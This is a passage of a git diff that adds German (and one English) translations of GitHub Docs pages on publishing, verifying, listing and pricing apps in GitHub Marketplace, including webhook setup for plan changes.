+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+{% data reusables.user-settings.marketplace_apps %}
+4. Select the {% data variables.product.prodname_github_app %} that you'd like to view transactions for.
+{% data reusables.user-settings.edit_marketplace_listing %}
+6. Click the **Transactions** tab.
+7. Optionally, select a different time period by clicking the Period dropdown in the upper-right corner of the Transactions page.
+![Marketplace time period](/assets/images/marketplace/marketplace_insights_time_period.png)
diff --git a/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
new file mode 100644
index 0000000000..dd53759edb
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-github-marketplace.md
@@ -0,0 +1,71 @@
+---
+title: Informationen zu GitHub Marketplace
+intro: 'Hier erfährst du mehr über {% data variables.product.prodname_marketplace %}, wo du deine Apps und Aktionen öffentlich für alle Benutzer*innen von {% data variables.product.product_name %} freigeben kannst.'
+redirect_from:
+  - /apps/marketplace/getting-started
+  - /marketplace/getting-started
+  - /developers/github-marketplace/about-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+ms.openlocfilehash: 5a722d35fb74607b9200a1fe30d804df44330cea
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089731'
+---
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) verbindet dich mit Entwicklern, die ihre {% data variables.product.prodname_dotcom %}-Workflows erweitern und verbessern möchten. Du kannst kostenlose und kostenpflichtige Tools für Entwickler auflisten, die in {% data variables.product.prodname_marketplace %} verwendet werden sollen. {% data variables.product.prodname_marketplace %} bietet Entwicklern zwei Arten von Tools: {% data variables.product.prodname_actions %} und Apps, und jedes Tool erfordert unterschiedliche Schritte zum Hinzufügen zu {% data variables.product.prodname_marketplace %}.
+
+## GitHub-Aktionen
+
+{% data reusables.actions.actions-not-verified %}
+
+Informationen zum Veröffentlichen von {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %} findest du unter [Veröffentlichen von Aktionen in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace).
+
+## Apps
+
+Jeder kann seine Apps kostenlos auf {% data variables.product.prodname_marketplace %} freigeben, aber nur Organisationen können in ihrem Besitz befindliche Apps verkaufen. 
+
+Um kostenpflichtige Pläne für deine App zu veröffentlichen und ein Marketplace-Badge anzuzeigen, musst du den Prozess der Herausgeberüberprüfung durchlaufen. Weitere Informationen findest du unter [Anwenden der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization) oder [Anforderungen für das Auflisten einer App](/developers/github-marketplace/requirements-for-listing-an-app).
+
+Sobald die Organisation die Anforderungen erfüllt, können Personen mit Besitzerberechtigungen in der Organisation kostenpflichtige Pläne für jede ihrer Apps veröffentlichen. Jede App mit einem kostenpflichtigen Plan durchläuft auch einen finanziellen Onboardingprozess, um Zahlungen zu ermöglichen.
+
+Um Apps mit kostenlosen Plänen zu veröffentlichen, musst du nur die allgemeinen Anforderungen für das Auflisten jeder App erfüllen. Weitere Informationen findest du unter [Anforderungen für alle GitHub Marketplace-Einträge](/developers/github-marketplace/requirements-for-listing-an-app#requirements-for-all-github-marketplace-listings).
+
+### Neu bei Apps?
+
+Wenn du eine App für {% data variables.product.prodname_marketplace %} erstellen möchtest, aber noch keine Erfahrung mit {% data variables.product.prodname_github_apps %} oder {% data variables.product.prodname_oauth_apps %} hast, dann informiere dich unter [Erstellen von {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps) oder [Erstellen von {% data variables.product.prodname_oauth_apps %}](/developers/apps/building-oauth-apps).
+
+### {% data variables.product.prodname_github_apps %} im Vergleich zu {% data variables.product.prodname_oauth_apps %}
+
+{% data reusables.marketplace.github_apps_preferred %}, obwohl du sowohl OAuth- als auch {% data variables.product.prodname_github_apps %} in {% data variables.product.prodname_marketplace %} auflisten kannst. Weitere Informationen findest du unter [Unterschiede zwischen {% data variables.product.prodname_github_apps %} und {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/) und [Migrieren von {% data variables.product.prodname_oauth_apps %} zu {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/).
+
+## Übersicht zum Veröffentlichen einer App im {% data variables.product.prodname_marketplace %}
+
+Nach der Erstellung kannst du deine App im {% data variables.product.prodname_marketplace %} veröffentlichen, um sie für andere Benutzer freizugeben. Der Prozess im Überblick:
+
+1. Überprüfe deine App sorgfältig, um sicherzustellen, dass sie sich in anderen Repositorys wie erwartet verhält und den Richtlinien für bewährte Methoden entspricht. Weitere Informationen findest du unter [Bewährte Methoden für die Sicherheit von Apps](/developers/github-marketplace/security-best-practices-for-apps) und [Anforderungen für das Auflisten einer App](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience).
+
+1. Füge der App Webhook-Ereignisse hinzu, um Benutzerabrechnungsanforderungen nachzuverfolgen. Weitere Informationen über die {% data variables.product.prodname_marketplace %}-API, Webhook-Ereignisse und Abrechnungsanforderungen findest du unter [Verwenden der {% data variables.product.prodname_marketplace %}-API in deiner App](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app).
+
+1. Erstelle einen {% data variables.product.prodname_marketplace %}-Angebotsentwurf. Weitere Informationen findest du unter [Entwerfen eines Angebots für deine App](/developers/github-marketplace/drafting-a-listing-for-your-app).
+
+1. Füge einen Preisplan hinzu. Weitere Informationen findest du unter [Festlegen von Preisplänen für deinen Eintrag](/developers/github-marketplace/setting-pricing-plans-for-your-listing).
+
+1. Lese und akzeptiere die Bestimmungen der [{% data variables.product.prodname_marketplace %}-Entwicklervereinbarung](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement).
+
+1. Übermittle deinen Eintrag zur Veröffentlichung in {% data variables.product.prodname_marketplace %}. Weitere Informationen findest du unter [Übermitteln deines Angebots zur Veröffentlichung](/developers/github-marketplace/submitting-your-listing-for-publication).
+
+## Überprüfen der Akzeptanz deiner App
+
+Du kannst auf Metriken und Transaktionen für deinen Eintrag zugreifen. Weitere Informationen finden Sie unter
+
+- [Anzeigen von Metriken für deinen Eintrag](/developers/github-marketplace/viewing-metrics-for-your-listing)
+- [Anzeigen von Transaktionen für deinen Eintrag](/developers/github-marketplace/viewing-transactions-for-your-listing)
+
+## Support kontaktieren 
+
+Richte Fragen zu {% data variables.product.prodname_marketplace %} bitte direkt an {% data variables.contact.contact_support %}.
diff --git a/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md
new file mode 100644
index 0000000000..37ab0e84c1
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/about-marketplace-badges.md
@@ -0,0 +1,46 @@
+---
+title: Informationen zu Marketplace-Badges
+intro: 'Erfahre mehr über die Badges, die du möglicherweise für einige Apps und Aktionsauflistungen auf {% data variables.product.prodname_marketplace %} siehst.'
+redirect_from:
+  - /developers/github-marketplace/about-verified-creator-badges
+  - /developers/github-marketplace/about-marketplace-badges
+versions:
+  fpt: '*'
+  ghec: '*'
+ms.openlocfilehash: bba9137fc39c1bc101a75650dcea03e651d37fff
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089724'
+---
+## Für GitHub-Apps
+
+Bestimmte Apps in {% data variables.product.prodname_marketplace %} verfügen über den Badge {% octicon "verified" aria-label="The verified badge" %} sowie über eine QuickInfo mit dem Hinweis, dass die Domäne und die E-Mail-Adresse des Herausgebers verifiziert wurden. Das bedeutet, dass die App im Besitz einer Organisation ist, die folgende Anforderungen erfüllt:
+
+- Sie hat den Besitz ihrer Domäne bestätigt und verfügt über einen Badge vom Typ „Verifiziert“ für ihr Profil.
+- Sie hat ihre E-Mail-Adresse bestätigt, sodass der Support von {% data variables.product.prodname_dotcom %} die Organisation erreichen kann.
+- Sie schreibt die zweistufige Authentifizierung für ihre Organisation vor. Weitere Informationen findest du unter [Erfordern der zweistufigen Authentifizierung in deiner Organisation](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization).
+
+![Marketplace-Badge für GitHub Apps](/assets/images/marketplace/apps-with-verified-publisher-badge-tooltip.png)
+
+{% note %} Die App wird von {% data variables.product.prodname_dotcom %} nicht analysiert. Der Marketplace-Badge {% octicon "verified" aria-label="The verified badge" %} bestätigt lediglich, dass der Herausgeber die oben aufgeführten Anforderungen erfüllt.
+{% endnote %}
+
+Informationen dazu, wie du diesen Badge deiner App hinzufügen kannst, findest du unter [Beantragen der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization).
+
+Einige Apps in {% data variables.product.prodname_marketplace %} verfügen über den Badge {% octicon "verified" aria-label="The verified badge" %} sowie über eine QuickInfo mit dem Hinweis, dass die App die Anforderungen für die Veröffentlichung erfüllt (anstelle des Hinweises, dass die Domäne und die E-Mail-Adresse des Herausgebers verifiziert wurden). Das bedeutet, dass die App zwar die unter [Voraussetzungen für die Veröffentlichung einer App](/developers/github-marketplace/requirements-for-listing-an-app) beschriebenen Veröffentlichungsanforderungen erfüllt, der Herausgeber aber nicht überprüft wurde, wie unter [Beantragen der Herausgeberüberprüfung für deine Organisation](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization) beschrieben. Der Preisplan von Apps mit diesem Badge kann erst geändert werden, wenn der Herausgeber erfolgreich eine Überprüfung beantragt hat.
+
+![Marketplace-Badge für GitHub Apps](/assets/images/marketplace/apps-with-unverified-publisher-badge-tooltip.png)
+
+Weitere Informationen zu den Voraussetzungen für die Veröffentlichung einer App auf {% data variables.product.prodname_marketplace %} findest du unter [Voraussetzungen für die Veröffentlichung einer App auf {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/).
+
+Informationen zur Suche nach Apps findest du unter [Durchsuchen des {% data variables.product.prodname_marketplace %}](/search-github/searching-on-github/searching-github-marketplace).
+
+## Für GitHub Actions 
+
+Bei Aktionen mit dem Badge {% octicon "verified" aria-label="The verified badge" %} oder mit dem Badge für überprüfte Ersteller wurde der Ersteller der Aktion von {% data variables.product.prodname_dotcom %} als Partnerorganisation verifiziert.
+
+![Badge für überprüfte Ersteller für GitHub Actions](/assets/images/marketplace/verified-creator-badge-for-actions.png)
+
+Informationen zum Veröffentlichen einer GitHub-Aktion auf {% data variables.product.prodname_marketplace %} findest du unter [Aktionen auf dem GitHub-Marktplatz veröffentlichen](/actions/creating-actions/publishing-actions-in-github-marketplace).
diff --git a/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md
new file mode 100644
index 0000000000..9d83e94a24
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/applying-for-publisher-verification-for-your-organization.md
@@ -0,0 +1,44 @@
+---
+title: Beantragen der Herausgeberüberprüfung für deine Organisation
+intro: 'Wenn Sie kostenpflichtige Pläne für Ihre App anbieten oder ein Marketplace-Badge in Ihr App-Angebot aufnehmen möchten, müssen Sie den Prozess zur Prüfung des Herausgebers für Ihre Organisation abschließen.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+redirect_from:
+  - /developers/github-marketplace/applying-for-publisher-verification-for-your-organization
+shortTitle: Publisher verification
+ms.openlocfilehash: 34085acb78eba5057cea382ab250e4704dd958d1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145089723'
+---
+Mit der Herausgeberüberprüfung wird sichergestellt, dass {% data variables.product.prodname_dotcom %} dich kontaktieren kann, dass du die zweistufige Authentifizierung für deine Organisation aktiviert hast und dass die Domäne deiner Organisation überprüft wurde.
+
+Nachdem deine Organisation überprüft wurde, kannst du kostenpflichtige Pläne für deine App veröffentlichen. Weitere Informationen findest du unter [Festlegen von Tarifen für deinen Eintrag](/developers/github-marketplace/setting-pricing-plans-for-your-listing).
+
+Um kostenpflichtige Pläne für deine App anzubieten, muss sich die App im Besitz einer Organisation befinden, und du musst über Besitzerberechtigungen in der Organisation verfügen. Wenn sich deine App derzeit im Besitz eines persönlichen Kontos befindet, musst du den Besitz der App an eine Organisation übertragen. Weitere Informationen findest du unter [Übertragen des Besitzes einer GitHub-App](/developers/apps/transferring-ownership-of-a-github-app) oder [Übertragen des Besitzes einer OAuth-App](/developers/apps/transferring-ownership-of-an-oauth-app).
+
+## Anfordern der Herausgeberüberprüfung
+
+
+{% data reusables.profile.access_org %} {% data reusables.profile.org_settings %}
+1. Klicke in der linken Seitenleiste auf **Entwicklereinstellungen**.
+  ![Option „Entwicklereinstellungen“ auf der Seitenleiste mit Organisationseinstellungen](/assets/images/marketplace/developer-settings-in-org-settings.png)
+1. Klicke unter „Entwicklereinstellungen“ auf **Herausgeberüberprüfung**.
+  ![Option „Herausgeberüberprüfung“ auf der Seitenleiste mit Organisationseinstellungen](/assets/images/marketplace/publisher-verification-settings-option.png)
+1. Fülle unter „Herausgeberüberprüfung“ die Informationen aus der Prüfliste aus:
+   - Stelle sicher, dass deine grundlegenden Profilinformationen vorhanden und korrekt sind. Vergewissere dich außerdem, dass du die optimale E-Mail-Adresse für Support und Updates von {% data variables.product.company_short %} angegeben hast.
+   - Stelle sicher, dass die zweistufige Authentifizierung für deine Organisation aktiviert ist. Weitere Informationen findest du unter [Erfordern der zweistufigen Authentifizierung in deiner Organisation](/organizations/keeping-your-organization-secure/requiring-two-factor-authentication-in-your-organization).
+   - Übermittle eine überprüfte Domäne, und stelle sicher, dass auf der Profilseite deiner Organisation das Badge „Verifiziert“ angezeigt wird. Weitere Informationen findest du unter [Überprüfen oder Genehmigen einer Domäne für deine Organisation](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization).
+
+  ![Prüfliste für die Herausgeberüberprüfung](/assets/images/marketplace/publisher-verification-checklist.png)
+
+2. Klicke auf **Überprüfung anfordern**. {% data variables.product.company_short %} überprüft deine Angaben und teilt dir mit, wenn die Herausgeberüberprüfung abgeschlossen ist.
+
+## Weiterführende Themen
+
+Informationen zum Veröffentlichungsprozess für Apps findest du unter [Informationen zu GitHub Marketplace](/developers/github-marketplace/about-github-marketplace).
diff --git a/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/index.md b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/index.md
new file mode 100644
index 0000000000..1924f945ef
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/github-marketplace-overview/index.md
@@ -0,0 +1,19 @@
+---
+title: Übersicht über den GitHub Marketplace
+intro: 'Erfahre, wie du deine App oder Aktion mit der {% data variables.product.company_short %}-Community für {% data variables.product.prodname_marketplace %} freigeben kannst.'
+versions:
+  fpt: '*'
+  ghec: '*'
+children:
+  - /about-github-marketplace
+  - /about-marketplace-badges
+  - /applying-for-publisher-verification-for-your-organization
+shortTitle: Overview
+ms.openlocfilehash: 9534f77c571bc8d7530418c04d3ec4cd7111c3c2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089715'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/index.md b/translations/de-DE/content/developers/github-marketplace/index.md
new file mode 100644
index 0000000000..360be87707
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/index.md
@@ -0,0 +1,26 @@
+---
+title: GitHub Marketplace
+intro: 'Liste deine Tools im {% data variables.product.prodname_dotcom %}-Marketplace auf, damit Entwickler sie verwenden oder kaufen können.'
+redirect_from:
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/about-github-marketplace
+  - /apps/marketplace
+  - /marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+children:
+  - /github-marketplace-overview
+  - /creating-apps-for-github-marketplace
+  - /using-the-github-marketplace-api-in-your-app
+  - /listing-an-app-on-github-marketplace
+  - /selling-your-app-on-github-marketplace
+ms.openlocfilehash: ba73ba3da3bd965b1b89dccac368bc637014363b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089707'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
new file mode 100644
index 0000000000..683e20b85d
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes.md
@@ -0,0 +1,50 @@
+---
+title: Konfigurieren eines Webhooks zur Benachrichtigung über Planänderungen
+intro: 'Nach dem [Erstellen eines Angebotsentwurfs für {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) kannst du einen Webhook konfigurieren, der dich benachrichtigt, wenn Änderungen an den Kundenkontoplänen auftreten. Nachdem du den Webhook konfiguriert hast, kann der [Ereignistyp `marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) in deiner App verarbeitet werden.'
+redirect_from:
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/adding-webhooks-for-a-github-marketplace-listing
+  - /apps/marketplace/managing-github-marketplace-listings/adding-webhooks-for-a-github-marketplace-listing
+  - /apps/marketplace/setting-up-github-marketplace-webhooks/creating-a-webhook-for-a-github-marketplace-listing
+  - /apps/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook
+  - /marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook
+  - /developers/github-marketplace/configuring-a-webhook-to-notify-you-of-plan-changes
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Webhooks for plan changes
+ms.openlocfilehash: 85ffaa8809860ff4b693075e416723717296f86c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145089700'
+---
+Der {% data variables.product.prodname_marketplace %}-Ereigniswebhook kann nur über die {% data variables.product.prodname_marketplace %}-Angebotsseite deiner Anwendung eingerichtet werden. Alle anderen Ereignisse kannst du auf der [Seite „Entwicklereinstellungen“ deiner Anwendung](https://github.com/settings/developers) konfigurieren. Wenn du kein {% data variables.product.prodname_marketplace %}-Angebot erstellt hast, findest du Informationen dazu unter [Erstellen eines {% data variables.product.prodname_marketplace %}-Angebotsentwurfs](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/).
+
+## Erstellen eines Webhooks
+
+Zum Erstellen eines Webhooks für dein {% data variables.product.prodname_marketplace %}-Angebot, klicke auf der linken Seitenleiste deiner [{% data variables.product.prodname_marketplace %}-Angebotsseite](https://github.com/marketplace/manage) auf **Webhook**. Es werden die folgenden Optionen für die Webhookkonfiguration angezeigt, die zum Konfigurieren deines Webhooks erforderlich sind:
+
+### URL der Nutzlast
+
+{% data reusables.webhooks.payload_url %}
+
+### Inhaltstyp
+
+{% data reusables.webhooks.content_type %} GitHub empfiehlt die Verwendung des Inhaltstyps `application/json`.
+
+### `Secret`
+
+{% data reusables.webhooks.secret %}
+
+### Aktiv
+
+Standardmäßig sind Webhookübermittlungen „Aktiv“. Du kannst die Übermittlung von Webhooknutzlasten während der Entwicklung deaktivieren, indem du die Auswahl von „Aktiv“ aufhebst. Wenn du Webhookübermittlungen deaktiviert hast, musst du „Aktiv“ auswählen, bevor du deine App zur Überprüfung übermittelst.
+
+## Anzeigen von Webhookübermittlungen
+
+Nachdem du deinen {% data variables.product.prodname_marketplace %}-Webhook konfiguriert hast, kannst du `POST`-Anforderungsnutzdaten auf der Seite **Webhook** des [{% data variables.product.prodname_marketplace %}-Angebots](https://github.com/marketplace/manage) deiner Anwendung überprüfen. Bei fehlerhaften Übermittlungsversuchen führt GitHub keine erneute Übermittlung durch. Stelle daher sicher, dass deine App alle von GitHub gesendeten Webhooknutzlasten empfangen kann.
+
+![Überprüfen der letzten {% data variables.product.prodname_marketplace %}-Webhookübermittlungen](/assets/images/marketplace/marketplace_webhook_deliveries.png)
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
new file mode 100644
index 0000000000..9dd64a8959
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/drafting-a-listing-for-your-app.md
@@ -0,0 +1,68 @@
+---
+title: Drafting a listing for your app
+intro: 'When you create a {% data variables.product.prodname_marketplace %} listing, GitHub saves it in draft mode until you submit the app for approval. Your listing shows customers how they can use your app.'
+redirect_from:
+  - /apps/adding-integrations/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace/listing-an-app-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings/listing-an-app-on-github-marketplace
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval/listing-an-app-on-github-marketplace
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/removing-a-listing-from-github-marketplace
+  - /apps/marketplace/managing-github-marketplace-listings/removing-a-listing-from-github-marketplace
+  - /apps/adding-integrations/managing-listings-on-github-marketplace/editing-a-github-marketplace-listing
+  - /apps/marketplace/managing-github-marketplace-listings/editing-a-github-marketplace-listing
+  - /apps/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing
+  - /marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing
+  - /developers/github-marketplace/drafting-a-listing-for-your-app
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Draft an app listing
+---
+## Create a new draft {% data variables.product.prodname_marketplace %} listing
+
+You can only create draft listings for apps that are public. Before creating your draft listing, you can read the following guidelines for writing and configuring settings in your {% data variables.product.prodname_marketplace %} listing:
+
+* [Writing {% data variables.product.prodname_marketplace %} listing descriptions](/marketplace/listing-on-github-marketplace/writing-github-marketplace-listing-descriptions/)
+* [Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)
+* [Configuring the {% data variables.product.prodname_marketplace %} Webhook](/marketplace/listing-on-github-marketplace/configuring-the-github-marketplace-webhook/)
+
+To create a {% data variables.product.prodname_marketplace %} listing:
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.developer_settings %}
+3. In the left sidebar, click either **OAuth Apps** or **GitHub Apps** depending on the app you're adding to {% data variables.product.prodname_marketplace %}.
+
+  {% note %}
+
+  **Note**: You can also add a listing by navigating to https://github.com/marketplace/new, viewing your available apps, and clicking **Create draft listing**.
+
+  {% endnote %}
+
+  ![App type selection](/assets/images/settings/apps_choose_app.png)
+
+4. Select the app you'd like to add to {% data variables.product.prodname_marketplace %}.
+![App selection for {% data variables.product.prodname_marketplace %} listing](/assets/images/github-apps/github_apps_select-app.png)
+{% data reusables.user-settings.edit_marketplace_listing %}
+5. Once you've created a new draft listing, you'll see an overview of the sections that you'll need to visit before your {% data variables.product.prodname_marketplace %} listing will be complete.
+![GitHub Marketplace listing](/assets/images/marketplace/marketplace_listing_overview.png)
+
+
+{% note %}
+
+**Note:** In the "Contact info" section of your listing, we recommend using individual email addresses, rather than group emails addresses like support@domain.com. GitHub will use these email addresses to contact you about updates to {% data variables.product.prodname_marketplace %} that might affect your listing, new feature releases, marketing opportunities, payouts, and information on conferences and sponsorships.
+
+{% endnote %}
+
+## Editing your listing
+
+Once you've created a {% data variables.product.prodname_marketplace %} draft listing, you can come back to modify information in your listing anytime. If your app is already approved and in {% data variables.product.prodname_marketplace %}, you can edit the information and images in your listing, but you will not be able to change existing published pricing plans. See "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+
+## Submitting your app
+
+Once you've completed your {% data variables.product.prodname_marketplace %} listing, you can submit your listing for review from the **Overview** page. You'll need to read and accept the "[{% data variables.product.prodname_marketplace %} Developer Agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement/)," and then you can click **Submit for review**. After you submit your app for review, an onboarding expert will contact you with additional information about the onboarding process.
+
+## Removing a {% data variables.product.prodname_marketplace %} listing
+
+If you no longer want to list your app in {% data variables.product.prodname_marketplace %}, contact {% data variables.contact.contact_support %} to remove your listing.
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
new file mode 100644
index 0000000000..a478441809
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/index.md
@@ -0,0 +1,32 @@
+---
+title: Listen einer App im GitHub Marketplace
+intro: 'Hier werden die Voraussetzungen und Best Practices für die Auflistung deiner App auf dem {% data variables.product.prodname_marketplace %} behandelt.'
+redirect_from:
+  - /apps/adding-integrations/listing-apps-on-github-marketplace
+  - /apps/marketplace/listing-apps-on-github-marketplace
+  - /apps/marketplace/getting-started-with-github-marketplace-listings
+  - /apps/marketplace/creating-and-submitting-your-app-for-approval
+  - /apps/adding-integrations/managing-listings-on-github-marketplace
+  - /apps/marketplace/managing-github-marketplace-listings
+  - /apps/marketplace/listing-on-github-marketplace
+  - /marketplace/listing-on-github-marketplace
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+children:
+  - /drafting-a-listing-for-your-app
+  - /writing-a-listing-description-for-your-app
+  - /setting-pricing-plans-for-your-listing
+  - /configuring-a-webhook-to-notify-you-of-plan-changes
+  - /submitting-your-listing-for-publication
+shortTitle: List an app on the Marketplace
+ms.openlocfilehash: e20f44f2287195ed5cdf0f914b64e6a9a1bbeda2
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: '145089675'
+---
+
diff --git a/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
new file mode 100644
index 0000000000..477dfd8aa9
--- /dev/null
+++ b/translations/de-DE/content/developers/github-marketplace/listing-an-app-on-github-marketplace/setting-pricing-plans-for-your-listing.md
@@ -0,0 +1,93 @@
+---
+title: Festlegen des Tarifs für deine Listing
+intro: 'Wenn du deine App auf dem {% data variables.product.prodname_marketplace %} zur Verfügung stellst, kannst du sie entweder als kostenlosen Dienst bereitstellen oder zum Kaufen anbieten. Wenn du deine App zum Kaufen anbietest, kannst du verschiedene Tarife für unterschiedliche Featureebenen erstellen.'
+redirect_from:
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/pricing-payments-and-free-trials/setting-a-github-marketplace-listing-s-pricing-plan
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/about-github-marketplace-pricing-plans
+  - /apps/marketplace/pricing-payments-and-free-trials/about-github-marketplace-pricing-plans
+  - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/managing-github-marketplace-listings/changing-a-github-marketplace-listing-s-pricing-plan
+  - /apps/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan
+  - /marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan
+  - /developers/github-marketplace/setting-pricing-plans-for-your-listing
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Marketplace
+shortTitle: Set listing pricing plans
+ms.openlocfilehash: bc8d84a55c9597da051ab11752dd7e412761d5d7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145089668'
+---
+## Informationen zum Festlegen von Tarifen
+
+{% data variables.product.prodname_marketplace %} bietet verschiedene Arten von Tarifen. Weitere Informationen findest du unter [Tarife für {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps).
+
